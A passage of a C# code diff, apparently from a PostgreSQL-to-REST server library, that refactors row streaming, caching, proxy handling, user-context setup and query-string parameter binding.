Array.FindIndex(activeColumnNames, + c => string.Equals(c, Options.AuthenticationOptions.HashColumnName, StringComparison.OrdinalIgnoreCase)); + } - if (endpoint.AuthorizeRoles is not null - && endpoint.HasAuthorizeRoleMatch(context.User, Options.AuthenticationOptions) is false) - { - await Results.Problem( - type: null, - statusCode: (int)HttpStatusCode.Forbidden, - title: "Forbidden", - detail: null).ExecuteAsync(context); - return; - } + if (rowRenderer is null) + { + rowRenderer = s.rowRenderer ??= new RowRenderer(); + rowRenderer.Init(reader, routine, endpoint, connection); + } + rowRenderer.Configure(activeColumnNames, activeJsonColumnNames, activeColumnDescriptors, routineReturnRecordCount, nestedJsonColumnMap, hiddenColumnIndex, + routine.ReturnsUnnamedSet, endpoint.Raw); + var rowBuilder = rowRenderer.Row; + if (writeArrayBrackets) + { + rowBuilder.Append(Consts.OpenBracket); } - if (formatter.IsFormattable is true) + if (endpoint.Raw is true && endpoint.RawColumnNames is true && binary is false) { - if (formatter.RefContext) + StringBuilder columns = new(); + for (int i = 0; i < reader.FieldCount; i++) { - commandText = formatter.FormatCommand(routine, command.Parameters, context); - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) + if (endpoint.RawValueSeparator is not null && i > 0) { - return; + columns.Append(endpoint.RawValueSeparator); } + columns.Append(QuoteText(reader.GetName(i).AsSpan())); } - else + if (endpoint.RawNewLineSeparator is not null) { - commandText = formatter.FormatCommand(routine, command.Parameters); + columns.Append(endpoint.RawNewLineSeparator); } + rowBuilder.Append(columns.ToString()); } - if (formatter.IsFormattable is false) + + var bufferRows = endpoint.BufferRows ?? Options.BufferRows; + var responseBufferBytes = Options.ResponseBufferBytes; + while (await reader.ReadAsync(cancellationToken)) { - if (formatter.RefContext) + rowCount++; + if (!first) { - commandTextBuilder!.Append(formatter.AppendEmpty(context)); - if (formatter.IsFormattable) + if (binary is false) { - if (context.Response.HasStarted || context.Response.StatusCode != (int)HttpStatusCode.OK) + // if raw + if (endpoint.Raw is false) { - return; + rowBuilder.Append(Consts.Comma); + } + else if (endpoint.RawNewLineSeparator is not null) + { + rowBuilder.Append(endpoint.RawNewLineSeparator); } } } else { - commandTextBuilder!.Append(formatter.AppendEmpty()); + first = false; } - // Convert StringBuilder to string for final commandText - commandText = commandTextBuilder.ToString(); - } - - if (commandText is null) - { - shouldCommit = false; - uploadHandler?.OnError(connection, context, null); - context.Response.StatusCode = StatusCodes.Status404NotFound; - await context.Response.CompleteAsync(); - return; - } - // Resolve parameter expressions: execute SQL expressions to fill resolved parameter values - if (endpoint.ResolvedParameterExpressions is not null && endpoint.ResolvedParameterExpressions.Count > 0) - { - await OpenConnectionAsync(connection, context, endpoint, cancellationToken); - foreach (var (resolvedParamName, sqlExpression) in endpoint.ResolvedParameterExpressions) + if (binary is true) { - var (parameterizedSql, sqlParams) = Formatter.ParameterizeSqlExpression(sqlExpression, command.Parameters); - await using var resolveCmd = new NpgsqlCommand(parameterizedSql, connection); - for (int p = 0; p < sqlParams.Count; p++) + for (var i = 0; i < routineReturnRecordCount; i++) { - resolveCmd.Parameters.Add(new NpgsqlParameter { Value = sqlParams[p].Value ?? DBNull.Value }); + await writer.WriteAsync(reader.GetFieldValue(0), cancellationToken); } - var resolvedValue = await resolveCmd.ExecuteScalarAsync(cancellationToken); + } + else + { + rowRenderer.AppendRow(); + } - // Update the parameter value in the main command - for (int p = 0; p < command.Parameters.Count; p++) - { - var param = (NpgsqlRestParameter)command.Parameters[p]; - if (string.Equals(param.ActualName, resolvedParamName, StringComparison.OrdinalIgnoreCase) || - string.Equals(param.ConvertedName, resolvedParamName, StringComparison.OrdinalIgnoreCase)) - { - param.Value = resolvedValue ?? DBNull.Value; - break; - } - } + // Check if we've exceeded the cacheable row limit + if (shouldCache && maxCacheableRows.HasValue && rowCount > (ulong)maxCacheableRows.Value) + { + shouldCache = false; + cacheBuffer = null; // Release memory } - } - Dictionary? customParameters = endpoint.CustomParameters; - Dictionary.AlternateLookup>? lookup = null; - if (endpoint.HeadersNeedParsing is true || endpoint.CustomParamsNeedParsing || HttpClientTypes.NeedsParsing) - { - // Case-insensitive so `{name}` placeholders match parameter names regardless of casing, - // consistent with the resolved-parameter SQL expression resolver (Formatter.ParameterizeSqlExpression). - var envVars = Options.SubstitutionEnvironmentVariables; - Dictionary replacements = new(command.Parameters.Count * 4 + (envVars?.Count ?? 0), StringComparer.OrdinalIgnoreCase); - // Allowlisted env vars first (base); parameter values added below overwrite them on a name - // collision, so a routine parameter always wins over an env var of the same name. - // Entries under a "!NAME" key mark names that resolved to a real value - that is what the - // {!NAME}/{!NAME:fallback} forms key off in Formatter.TryResolveToken. - if (envVars is not null) + if (isSingleRecord) { - foreach (var (name, value) in envVars) - { - replacements[name] = value; - } + break; } - for (var i = 0; i < command.Parameters.Count; i++) + + // 0 = send every row; 1 = buffer all rows; N = every N rows, send what is collected if it is at + // least ResponseBufferBytes. (0 used to divide by zero here and fail the request.) + // Each send is a socket write and an HTTP chunk, so small batches are not sent one by one; and + // while nothing is sent yet, a failing query can still produce a proper error response. + if (bufferRows == 0 || + (bufferRows != 1 && rowCount % bufferRows == 0 && rowBuilder.Length >= responseBufferBytes)) { - var isNull = command.Parameters[i].Value is null || command.Parameters[i].Value == DBNull.Value; - var value = isNull ? "" : command.Parameters[i].Value?.ToString() ?? ""; - var param = (NpgsqlRestParameter)command.Parameters[i]; - // A parameter wins over an env var in BOTH forms: a non-null value registers its own - // "!name" key; a null value removes any "!name" an env var of the same name left behind, - // so {!name:fallback} then yields the fallback instead of the env value. - void AddParam(string key) - { - replacements[key] = value; - if (isNull is false) - { - replacements[string.Concat("!", key)] = value; - } - else if (envVars is not null) - { - replacements.Remove(string.Concat("!", key)); - } - } - if (!string.IsNullOrEmpty(param.ActualName)) + // Append to cache buffer before clearing row + if (shouldCache) { - AddParam(param.ActualName); - } - AddParam(param.ConvertedName); - if (param.TypeDescriptor.CustomTypeName is not null) - { - AddParam(param.TypeDescriptor.CustomTypeName); + cacheBuffer!.Append(rowBuilder); } + writer.Write(rowBuilder.WrittenSpan); + await writer.FlushAsync(cancellationToken); + rowBuilder.Clear(); } - lookup = replacements.GetAlternateLookup>(); - } + } // end while - if (endpoint.HeadersNeedParsing is true || endpoint.CustomParamsNeedParsing) + if (isSingleRecord && rowCount == 0) { - if (endpoint.CustomParamsNeedParsing && endpoint.CustomParameters is not null) + if (multiCmd is not null) { - customParameters = new Dictionary(endpoint.CustomParameters.Count); - foreach (var (key, value) in endpoint.CustomParameters) - { - customParameters[key] = Formatter.FormatString(value, lookup!.Value).ToString(); - } + // Multi-command: always write null for empty @single results + writer.Write(Consts.Utf8Null); + } + else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NullLiteral) + { + writer.Write(Consts.Utf8Null); + await writer.FlushAsync(cancellationToken); + } + else if (endpoint.TextResponseNullHandling == TextResponseNullHandling.NoContent) + { + context.Response.StatusCode = (int)HttpStatusCode.NoContent; } + // else EmptyString: empty 200 OK (default) } - - if (endpoint.ResponseContentType is not null || endpoint.ResponseHeaders.Count > 0) + else if (binary is true) + { + await writer.FlushAsync(cancellationToken); + } + else { - if (endpoint.HeadersNeedParsing is true) + if (routine.ReturnsSet && endpoint.Raw is false && isSingleRecord is false) { - if (endpoint.ResponseContentType is not null) - { - context.Response.ContentType = Formatter.FormatString(endpoint.ResponseContentType, lookup!.Value).ToString(); - } - if (endpoint.ResponseHeaders.Count > 0) - { - foreach (var (headerKey, headerValue) in endpoint.ResponseHeaders) - { - context.Response.Headers.Append(headerKey, Formatter.FormatString(headerValue.ToString(), lookup!.Value).ToString()); - } - } + rowBuilder.Append(Consts.CloseBracket); } - else + if (rowBuilder.Length > 0) { - if (endpoint.ResponseContentType is not null) - { - context.Response.ContentType = endpoint.ResponseContentType; - } - if (endpoint.ResponseHeaders.Count > 0) + // Append remaining rows to cache buffer + if (shouldCache) { - foreach (var (headerKey, headerValue) in endpoint.ResponseHeaders) - { - context.Response.Headers.Append(headerKey, headerValue); - } + cacheBuffer!.Append(rowBuilder); } + // No flush here: completing the response sends everything that is pending in one write. + writer.Write(rowBuilder.WrittenSpan); + rowBuilder.Clear(); } - } - if (Options.HttpClientOptions.Enabled && customHttpTypes.Count > 0) - { - // Set self base URL for relative path resolution (lazy, once) - if (HttpClientTypeHandler.SelfBaseUrl is null) + // Store in cache if within limits + if (shouldCache && cacheBuffer is not null) { - if (Options.HttpClientOptions.SelfBaseUrl is not null) - { - HttpClientTypeHandler.SelfBaseUrl = Options.HttpClientOptions.SelfBaseUrl.TrimEnd('/'); - } - else - { - var server = context.RequestServices.GetService(typeof(Microsoft.AspNetCore.Hosting.Server.IServer)) as Microsoft.AspNetCore.Hosting.Server.IServer; - var addresses = server?.Features.Get(); - var addr = addresses?.Addresses.FirstOrDefault(); - HttpClientTypeHandler.SelfBaseUrl = addr ?? $"{context.Request.Scheme}://{context.Request.Host}"; - } + resolvedCache?.AddOrUpdate(endpoint, cacheKeyString!, cacheBuffer.ToString(), cacheTtlOverride); } - await HttpClientTypeHandler.InvokeAllAsync(customHttpTypes, lookup, command.Parameters, cancellationToken); } - // Cache the cache key string once to avoid repeated ToString() allocations - string? cacheKeyString = cacheKeys?.ToString(); + multiCmdIndex++; + } while (multiCmd is not null && multiCmdIndex < multiCmd.Length && await reader.NextResultAsync(cancellationToken)); - // Resolve cache backend: profile's instance if set, otherwise the root DefaultRoutineCache. - var resolvedCache = endpoint.ResolvedCache ?? Options.CacheOptions.DefaultRoutineCache; + // Close multi-command JSON object + if (multiCmdWriteWrapper) + { + writer.Write(Consts.Utf8CloseBrace); + } + } + finally + { + rowRenderer?.Release(); + if (cacheBufferRented is not null) + { + Utf8Buffer.Return(cacheBufferRented); + } + } + } - // Evaluate the When rules once. First match decides: - // - Skip = true → bypass cache entirely (no read, no write). - // - Skip = false → use rule's TTL override when writing (read still hits cache normally). - // - No match → no override; endpoint.CacheExpiresIn is used. - // Invalidation requests are NOT subject to bypass — they must always remove on demand. - var whenResult = endpoint.InvalidateCache is false ? EvaluateCacheWhenRules(endpoint, command) : default; - bool bypassCache = whenResult.Skip; - TimeSpan? cacheTtlOverride = whenResult.Skip ? null : whenResult.TtlOverride; + /// + /// Binds the routine parameters from the query string (and path, claims, headers, uploads, resolved values). + /// Returns false when the request is finished (a response was written). Reads and updates the request state in + /// , and may switch the request to an overload (routine, endpoint, formatter). + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask BindQueryStringParametersAsync(RequestState b) + { + // Early-return guard: queryCollection is non-null for the rest of this block (later + // dereferences use `!` where the compiler's flow analysis loses the narrowing). + if (b.queryCollection is null) + { + b.shouldCommit = false; + b.uploadHandler?.OnError(b.connection, b.context, null); + b.context.Response.StatusCode = StatusCodes.Status404NotFound; + await b.context.Response.CompleteAsync(); + return false; + } - // Handle reverse proxy endpoints - if (endpoint.IsProxy && Options.ProxyOptions.Enabled) + // Account for path parameters when counting query string parameters + var pathParamCount = b.endpoint.PathParameters?.Length ?? 0; + if (b.queryCollection.Count + pathParamCount != b.routine.ParamCount && overloads.Count > 0) + { + if (overloads.TryGetValue(string.Concat(entry.Key, b.queryCollection.Count + pathParamCount), out var overload)) { - // Set self base URL for relative path proxy resolution (lazy, once) - if (Proxy.ProxyRequestHandler.SelfBaseUrl is null) + b.routine = overload.Endpoint.Routine; + b.endpoint = overload.Endpoint; + b.formatter = overload.Formatter; + if (b.formatter.IsFormattable is false) { - if (Options.ProxyOptions.SelfBaseUrl is not null) - { - Proxy.ProxyRequestHandler.SelfBaseUrl = Options.ProxyOptions.SelfBaseUrl.TrimEnd('/'); - } - else + // Reinitialize commandTextBuilder for the new routine + b.commandTextBuilder?.Clear(); + if (b.commandTextBuilder is null) { - var proxyServer = context.RequestServices.GetService(typeof(Microsoft.AspNetCore.Hosting.Server.IServer)) as Microsoft.AspNetCore.Hosting.Server.IServer; - var proxyAddresses = proxyServer?.Features.Get(); - var proxyAddr = proxyAddresses?.Addresses.FirstOrDefault(); - Proxy.ProxyRequestHandler.SelfBaseUrl = proxyAddr ?? $"{context.Request.Scheme}://{context.Request.Host}"; + b.commandTextBuilder = StringBuilderPool.Rent(b.routine.Expression.Length + b.routine.ParamCount * 16); } + b.commandTextBuilder.Append(b.routine.Expression); } + } + } - // Passthrough proxy endpoints (those without proxy response parameters) may be cached; - // the cache read/execute/coalesce is handled at the InvokeAsync call below. - bool isPassthroughProxy = !endpoint.HasProxyResponseParameters; + for (int i = 0; i < b.routine.Parameters.Length; i++) + { + var parameter = b.routine.Parameters[i].NpgsqlRestParameterMemberwiseClone(); - // Build user context headers if UserContext is enabled - Dictionary? userContextHeaders = null; - if (endpoint.UserContext is true) + // Resolved parameter: skip HTTP filling, set to DBNull.Value placeholder. + // The actual value will be resolved via SQL expression after the parameter loop. + if (b.endpoint.ResolvedParameterExpressions is not null && + (b.endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ActualName) || + b.endpoint.ResolvedParameterExpressions.ContainsKey(parameter.ConvertedName))) + { + parameter.Value = DBNull.Value; + if (Options.HttpClientOptions.Enabled) { - userContextHeaders = []; - claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - - // Add IP address header - if (Options.AuthenticationOptions.IpAddressContextKey is not null) - { - var ipAddress = context.Request.GetClientIpAddress(); - if (!string.IsNullOrEmpty(ipAddress)) - { - userContextHeaders[Options.AuthenticationOptions.IpAddressContextKey] = ipAddress; - } - } - - if (context.User?.Identity?.IsAuthenticated is true) + if (parameter.TypeDescriptor.CustomType is not null) { - // Add claims JSON header - if (Options.AuthenticationOptions.ClaimsJsonContextKey is not null) + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - var claimsJson = claimsDict.GetUserClaimsDbParam(); - if (claimsJson is string claimsJsonStr) - { - userContextHeaders[Options.AuthenticationOptions.ClaimsJsonContextKey] = claimsJsonStr; - } - } - - // Add individual claim headers from ContextKeyClaimsMapping - foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) - { - var claimValue = claimsDict!.GetClaimDbContextParam(mapping.Value); - if (claimValue is string claimValueStr) - { - userContextHeaders[mapping.Key] = claimValueStr; - } + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } } } - - // Cacheable passthrough proxy: route the upstream call through GetOrCreateAsync so a burst - // of identical requests coalesces into a single upstream call (stampede protection), and - // the response is cached for subsequent hits. - bool proxyCacheable = isPassthroughProxy && endpoint.Cached is true && bypassCache is false && resolvedCache is not null; - if (proxyCacheable) + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); + b.hasNulls = true; + if (b.formatter.IsFormattable is false) { - bool factoryRan = false; - var cachedProxy = await resolvedCache!.GetOrCreateAsync( - endpoint, - cacheKeyString!, - async ct => - { - factoryRan = true; - return await Proxy.ProxyRequestHandler.InvokeAsync(context, endpoint, body, command.Parameters, userContextHeaders, ct); - }, - cacheTtlOverride, - cancellationToken); - - if (shouldLog && factoryRan is false) + if (b.formatter.RefContext) { - cmdLog?.AppendLine("/* proxy response from cache */"); - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", commandText); + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } } - if (cachedProxy is Proxy.ProxyResponse cachedProxyResponse) + else { - await Proxy.ProxyRequestHandler.WriteResponseAsync(context, cachedProxyResponse, Options.ProxyOptions, cancellationToken); + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); } - return; } + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) + { + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = (resolved)").AppendLine(); + } + continue; + } - var proxyResponse = await Proxy.ProxyRequestHandler.InvokeAsync(context, endpoint, body, command.Parameters, userContextHeaders, cancellationToken); - - if (endpoint.HasProxyResponseParameters) + if (parameter.HashOf is not null) + { + var hashValueQueryCollection = b.queryCollection!.TryGetValue(parameter.HashOf.ConvertedName, out var hashQsValue) ? hashQsValue.ToString() : null; + if (string.IsNullOrEmpty(hashValueQueryCollection) is true) { - // Map proxy response to parameters and continue with routine execution - MapProxyResponseToParameters(proxyResponse, command.Parameters, endpoint); + parameter.Value = DBNull.Value; } else { - // No proxy parameters and not cacheable - return proxy response directly without PostgreSQL. - await Proxy.ProxyRequestHandler.WriteResponseAsync(context, proxyResponse, Options.ProxyOptions, cancellationToken); - return; + parameter.Value = Options.AuthenticationOptions.PasswordHasher?.HashPassword(hashValueQueryCollection) as object ?? DBNull.Value; } } - - // Set user context BEFORE upload so that upload row commands can access user claims. - // Also runs BeforeRoutineCommands and (when WrapInTransaction is true) opens the request transaction here. - bool willSetHeadersContext = endpoint.RequestHeadersMode == RequestHeadersMode.Context && headers is not null && Options.RequestHeadersContextKey is not null; - bool willSetUserContext = endpoint.UserContext is true && ( - Options.AuthenticationOptions.IpAddressContextKey is not null - || (context.User?.Identity?.IsAuthenticated is true && - (Options.AuthenticationOptions.ClaimsJsonContextKey is not null || Options.AuthenticationOptions.ContextKeyClaimsMapping.Count > 0)) - ); - bool willRunBeforeRoutineCommands = Options.BeforeRoutineCommands.Length > 0; - if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands || Options.WrapInTransaction) + if (b.endpoint.UseUserParameters is true) { - if (connection.State != ConnectionState.Open) + if (parameter.IsFromUserClaims is true && b.claimsDict is null) + { + b.claimsDict = b.context.User.BuildClaimsDictionary(Options.AuthenticationOptions); + } + + if (parameter.IsIpAddress is true) { - if (Options.BeforeConnectionOpen is not null) + parameter.Value = b.context.Request.GetClientIpAddressDbParam(); + } + else if (b.context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ParameterNameClaimsMapping.TryGetValue(parameter.ActualName, out var claimType)) + { + // Claim auto-bind always wins (security routines depend on it). If the + // request also supplied a value, it would otherwise be silently dropped — + // surface that as a WARN so a parameter naming collision is visible. + if (b.queryCollection is not null + && (b.queryCollection.ContainsKey(parameter.ConvertedName) || b.queryCollection.ContainsKey(parameter.ActualName))) { - Options.BeforeConnectionOpen(connection, endpoint, context); + Logger?.ClaimMappedParamReceivedRequestValue( + b.endpoint.Path, parameter.ActualName, "query", claimType); } - await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); + parameter.Value = b.claimsDict!.GetClaimDbParam(claimType); } - - if (Options.WrapInTransaction && transaction is null) + else if (b.context.User?.Identity?.IsAuthenticated is true && parameter.IsUserClaims is true) { - transaction = await connection.BeginTransactionAsync(cancellationToken); + parameter.Value = b.claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value; } + } + if (parameter.IsUploadMetadata is true) + { + //uploadMetaParamIndex = i; + b.uploadMetaParamIndex = b.command.Parameters.Count; // the last one added + parameter.Value = DBNull.Value; + } - string setContextSql = transaction is not null ? Consts.SetContextLocal : Consts.SetContext; - - if (willSetHeadersContext || willSetUserContext || willRunBeforeRoutineCommands) + // body parameter + if (parameter.Value is null && b.endpoint.IsBodyParameter(parameter)) + { + if (b.body is null) { - await using var batch = NpgsqlRestBatch.Create(connection); + parameter.ParamType = ParamType.BodyParam; + parameter.Value = DBNull.Value; + b.hasNulls = true; - if (willSetHeadersContext) + if (Options.ValidateParameters is not null) { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.RequestHeadersContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(headers)); - batch.BatchCommands.Add(cmd); + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } } - - if (endpoint.UserContext is true) + if (Options.ValidateParametersAsync is not null) { - claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - - if (Options.AuthenticationOptions.IpAddressContextKey is not null) + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.AuthenticationOptions.IpAddressContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(context.Request.GetClientIpAddressDbParam())); - batch.BatchCommands.Add(cmd); + return false; } - if (context.User?.Identity?.IsAuthenticated is true && Options.AuthenticationOptions.ClaimsJsonContextKey is not null) + } + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) + { + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.AuthenticationOptions.ClaimsJsonContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(claimsDict?.GetUserClaimsDbParam() ?? DBNull.Value)); - batch.BatchCommands.Add(cmd); + parameter.AppendCacheKey(b.cacheKeys); } - if (context.User?.Identity?.IsAuthenticated is true) + } + + if (Options.HttpClientOptions.Enabled) + { + if (parameter.TypeDescriptor.CustomType is not null) { - foreach (var mapping in Options.AuthenticationOptions.ContextKeyClaimsMapping) + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) { - var cmd = new NpgsqlBatchCommand(setContextSql); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(mapping.Key)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(claimsDict!.GetClaimDbContextParam(mapping.Value))); - batch.BatchCommands.Add(cmd); + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); } } } + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); + + if (b.hasNulls is false && parameter.Value == DBNull.Value) + { + b.hasNulls = true; + } - if (willRunBeforeRoutineCommands) + if (b.formatter.IsFormattable is false) { - foreach (var beforeCmd in Options.BeforeRoutineCommands) + if (b.formatter.RefContext) { - var cmd = new NpgsqlBatchCommand(beforeCmd.Sql); - foreach (var p in beforeCmd.Parameters) + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) { - object value; - switch (p.Source) - { - case BeforeRoutineCommandParameterSource.Claim: - claimsDict ??= context.User.BuildClaimsDictionary(Options.AuthenticationOptions); - value = p.Name is null ? DBNull.Value : claimsDict!.GetClaimDbContextParam(p.Name); - break; - case BeforeRoutineCommandParameterSource.RequestHeader: - value = p.Name is not null && context.Request.Headers.TryGetValue(p.Name, out var headerValue) - ? (object)headerValue.ToString() - : DBNull.Value; - break; - case BeforeRoutineCommandParameterSource.IpAddress: - value = context.Request.GetClientIpAddressDbParam(); - break; - default: - value = DBNull.Value; - break; - } - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(value)); + return false; } - batch.BatchCommands.Add(cmd); + } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); } } - - await batch.ExecuteBatchWithRetryAsync(endpoint.RetryStrategy, cancellationToken); - } - } - - object? uploadMetadata = null; - if (endpoint.Upload is true && uploadHandler is not null) - { - if (connection.State != ConnectionState.Open) - { - if (Options.BeforeConnectionOpen is not null) + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) { - Options.BeforeConnectionOpen(connection, endpoint, context); + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); } - await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); - } - if (uploadHandler.RequiresTransaction is true && transaction is null) - { - transaction = await connection.BeginTransactionAsync(cancellationToken); - } - uploadMetadata = await uploadHandler.UploadAsync(connection, context, customParameters, cancellationToken); - uploadMetadata ??= DBNull.Value; - if (uploadMetaParamIndex > -1) - { - command.Parameters[uploadMetaParamIndex].Value = uploadMetadata; } - } - - // Set upload metadata context AFTER upload (since it depends on uploadMetadata) - if (Options.UploadOptions.UseDefaultUploadMetadataContextKey && - Options.UploadOptions.DefaultUploadMetadataContextKey is not null && - endpoint.Upload is true && - uploadHandler is not null && - uploadMetadata is not null) - { - if (connection.State != ConnectionState.Open) + else { - if (Options.BeforeConnectionOpen is not null) + StringValues bodyStringValues = b.body; + if (TryParseParameter(parameter, ref bodyStringValues, b.endpoint.QueryStringNullHandling)) { - Options.BeforeConnectionOpen(connection, endpoint, context); - } - await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); - } - await using var batch = NpgsqlRestBatch.Create(connection); - var cmd = new NpgsqlBatchCommand(transaction is not null ? Consts.SetContextLocal : Consts.SetContext); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(Options.UploadOptions.DefaultUploadMetadataContextKey)); - cmd.Parameters.Add(NpgsqlRestParameter.CreateTextParam(uploadMetadata)); - batch.BatchCommands.Add(cmd); - await batch.ExecuteBatchWithRetryAsync(endpoint.RetryStrategy, cancellationToken); - } - - if (endpoint.Login is true) - { - if (await PrepareCommand(connection, command, commandText, context, endpoint, false, cancellationToken) is false) - { - return; - } - if (shouldLog) - { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); - } - await LoginHandler.HandleAsync( - command, - context, - endpoint.RetryStrategy, - cancellationToken, - tracePath: context.Request.Path.ToString(), - performHashVerification: true, - assignUserPrincipalToContext: false); - - if (context.Response.HasStarted is true || - Options.AuthenticationOptions.SerializeAuthEndpointsResponse is false) - { - return; - } - } + parameter.ParamType = ParamType.BodyParam; + b.hasNulls = false; - if (endpoint.Logout is true) - { - if (await PrepareCommand(connection, command, commandText, context, endpoint, true, cancellationToken) is false) - { - return; - } - if (shouldLog) - { - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", command.CommandText); - } - await LogoutHandler.HandleAsync(command, endpoint, context, cancellationToken); - return; - } + if (Options.ValidateParameters is not null) + { + Options.ValidateParameters(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + if (Options.ValidateParametersAsync is not null) + { + await Options.ValidateParametersAsync(new ParameterValidationValues( + b.context, + b.routine, + parameter)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + if (b.endpoint.Cached is true && b.endpoint.CachedParams is not null) + { + if (b.endpoint.CachedParams.Contains(parameter.ConvertedName) || b.endpoint.CachedParams.Contains(parameter.ActualName)) + { + parameter.AppendCacheKey(b.cacheKeys); + } + } - // Handle cache invalidation endpoint. Routes through the endpoint's resolved cache (profile or root), - // never bypassed by When rules — invalidation must always work on demand. - if (endpoint.InvalidateCache is true && resolvedCache is not null && cacheKeys is not null) - { - var cacheKey = cacheKeys.ToString(); - var removed = resolvedCache.Remove(cacheKey); - context.Response.ContentType = "application/json"; - context.Response.StatusCode = (int)HttpStatusCode.OK; - await context.Response.WriteAsync(removed ? "{\"invalidated\":true}" : "{\"invalidated\":false}", cancellationToken); - if (shouldLog) - { - cmdLog?.AppendLine($"/* cache invalidation: {(removed ? "removed" : "not found")} */"); - NpgsqlRestLogger.LogEndpoint(endpoint, cmdLog?.ToString() ?? "", $"INVALIDATE CACHE KEY: {cacheKey}"); + if (Options.HttpClientOptions.Enabled) + { + if (parameter.TypeDescriptor.CustomType is not null) + { + if (HttpClientTypes.Definitions.ContainsKey(parameter.TypeDescriptor.CustomType)) + { + b.customHttpTypes.Add(parameter.TypeDescriptor.CustomType); + } + } + } + if (!parameter.IsVirtual) b.command.Parameters.Add(parameter); + if (b.hasNulls is false && parameter.Value == DBNull.Value) + { + b.hasNulls = true; + } + + if (b.formatter.IsFormattable is false) + { + if (b.formatter.RefContext) + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex, b.context)); + if (b.context.Response.HasStarted || b.context.Response.StatusCode != (int)HttpStatusCode.OK) + { + return false; + } + } + else + { + b.commandTextBuilder!.Append(b.formatter.AppendCommandParameter(parameter, b.paramIndex)); + } + } + b.paramIndex++; + if (b.shouldLog && Options.LogCommandParameters) + { + var p = Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && b.endpoint.IsAuth ? + "***" : + FormatParameterForLog(parameter); + b.cmdLog!.Append("-- $").Append(b.paramIndex).Append(' ') + .Append(parameter.TypeDescriptor.OriginalType) + .Append(" = ").AppendLine(p); + } + } } - return; + continue; } - // Multi-command rendering: execute each statement separately, build JSON object - if (routine.IsMultiCommand && routine.MultiCommandInfo is not null) + // header parameter + if (parameter.Value is null && + b.endpoint.RequestHeadersMode == RequestHeadersMode.Parameter && + parameter.TypeDescriptor.HasDefault is true && + ( + string.Equals(b.endpoint.RequestHeadersParameterName, parameter.ConvertedName, StringComparison.Ordinal) || + string.Equals(b.endpoint.RequestHeadersParameterName, parameter.ActualName, StringComparison.Ordinal) + ) + ) { - await OpenConnectionAsync(connection, context, endpoint, cancellationToken); - - if (shouldLog) + if (b.queryCollection!.ContainsKey(parameter.ConvertedName) is false) { - if (routine.LogCommandText) - { - var allSql = 